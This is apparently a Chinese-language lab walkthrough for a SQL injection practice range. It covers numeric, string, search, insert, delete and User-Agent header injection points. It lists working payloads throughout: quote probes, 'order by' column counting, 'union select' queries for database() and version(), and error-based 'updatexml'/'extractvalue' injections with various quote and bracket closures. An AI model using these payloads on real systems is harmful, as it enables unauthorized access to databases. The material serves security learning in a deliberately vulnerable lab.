这里为post传参,所以我们需要抓包
抓包后发现id,我们一般在后面输入 ’ " \来测试有无注入,发现有sql语句报错,而且没有数字1,这和题目提示的数字型注入一样
输入 and 1=1 #
页面回显正常正确
输入 2 order by 3 # 查看列数(通常用二分法可以迅速找到多少列)
这里提示错误,我们尝试2发现页面回显正常
联合查询
2 union select 1,database() --+
输入:kobe
查看注入类型(加 ’ " \)
这里我们加单引号,有sql语句报错,存在SQL注入,通过报错可知闭合类型为单引号’
**输入 kobe’ and 1=1 --+**回显正常说明推测正确
查看列数,利用联合查询暴库
这里和第一题一样用order by 查看列,这里我们知道列数为2,这接联合查询查数据库
kobe' union select version(),2 --+
**输入ko’**发现有SQL语句报错,
**我们输入and 1=1 --+**发现回显正常
然后我们就可一利用联合查询了:(这列列数为3)
ko' union select 1,2,database() --+
单引号先闭合
验证:因为闭合了前面的’),后面的我们需要注释,结果正确
如果你不信可以构造一个(’ 和后面的闭合,结果正确,其实这是另一种思路
kobe') union select 1,version() --+
此处为你没看出闭合方式有括号,同样可以做
如果你不明白不知道闭合方式,那就继续探索
kobe' and extractvalue('1',concat('|',(select database()))) and '
我们先注册信息,然后填完后点击提交抓包分析
输入’(判断是否有注入)
输入 ’ --+
因为我们单引号闭合了前面的,所以要把原有的’ 注释
我们继续闭合发现正确
888' and ' --+
888' and updatexml('|',concat('|',(select database()),'|'),'|') and ' --+'
888') and updatexml('|',concat('|',(select database()),'|'),'|') and (' --+
输入’
发现有报错,但是报错中没有59 说明为整形注入
我们直接输入
60 and updatexml('|',concat('|',(select database()),'|'),'|')
注意:因为是url传参所以我们要把我们输入的SQL语句进行URL编码
根据提示,删除留言时抓包:
在useragent 后面加入sql语句
' or updatexml(1,concat(0x7e,database()),0) or '
推荐一篇不错的讲解:点击即可查看
https://www.cnblogs.com/c1047509362/p/12631146.html
感谢这位大佬的分享